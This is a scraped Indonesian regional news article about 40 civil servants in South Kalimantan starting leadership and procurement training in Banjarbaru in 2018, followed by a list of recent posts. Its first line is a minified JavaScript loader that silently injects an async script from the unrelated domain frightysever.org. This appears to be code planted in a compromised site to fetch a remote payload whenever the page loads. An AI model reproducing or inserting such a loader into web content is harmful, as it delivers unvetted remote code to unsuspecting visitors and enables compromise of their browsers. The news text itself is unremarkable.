(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Sekda Haris Makkie Berharap Diklatpim Lahirkan ASN Terampil


BANJARBARU, Sebanyak 40 Aparatur Sipil Negara (ASN) dari Pemerintah Provinsi, Kabupaten dan Kota se Kalsel, mengikuti Pendidikan dan Pelatihan Kepemimpinan (Diklatpim ) Tingkat III,  di  Badan Pendidikan Sumber Daya Manusia Daerah Kalsel, Banjarbaru,  Senin (27/8) pagi.

Pada  kegiatan pembukaan diklatpim oleh Sekretaris Daerah Provinsi Kalsel, Drs H Abdul Haris Makkie, MSi,   di ruangan yang sama juga digelar  Diklat Pengadaan Barang dan Jasa,  diikuti 30 orang pegawai dari Provinsi dan Kabupaten, Kota se Kalsel.

Abdul Haris  mengatakan,  peserta yang mengikuti Diklatpim III maupun  Pengadaan Barang dan Jasa adalah  orang-orang terpilih  sesuai jabatan dan kompetensi. Peserta diharapkan  aktif di dalam pembelajaran  untuk meningkatkan  kompetensi sesuai bidang tugas.

“Diklat ini menjadi media pembelajaran bagi seluruh peserta,  baik Diklatpim maupun Diklat Pengadaan Barang dan Jasa . Tujuannya  setelah mengikuti diklat, akan melahirkan ASN terampil sesuai keahlian amanah tugas ,”  terangnya.

Masih menurut  Haris,  setiap ASN, semestinya memahami  tata aturan dalam menjalankan profesinya. ASN mesti paham tentang etika organisasi, etika pemerintahan.  Tanpa kecuali memahami aturan-aturan yang mendasari kegiatan dalam berpemerintahan, seperti peraturan  pengadaan barang/jasa pemerintah.

Demikian pula pemahaman terhadap aturan tentang pengadaan barang/jasa pemerintah. Tata aturan itu  bukan hanya dipahami pejabat pengadaan, tetapi juga oleh pengguna anggaran, kuasa pengguna anggaran, pejabat pembuat komitmen dan pejabat pelaksana teknis kegiatan, karena hampir semua aktivitas kegiatan  di pemerintahan, berkaitan dengan pengadaan barang/jasa.

Pengajar diklat adalah dari  widyaiswara dan tenaga ahli lainnya. Diklatpim  III Angkatan XI dimulai 27 Agustus dan berakhir pada 7 Desember 2018, sedangkan Diklat pengadaan barang dan jasa akan berakhir pada 31 agustus 2018 mendatang. (rico)

Reporter; Rico
Editor: Chell

Desy Arfianty

Recent Posts

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

8 menit ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

29 menit ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

58 menit ago

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

1 jam ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

17 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

19 jam ago

This website uses cookies.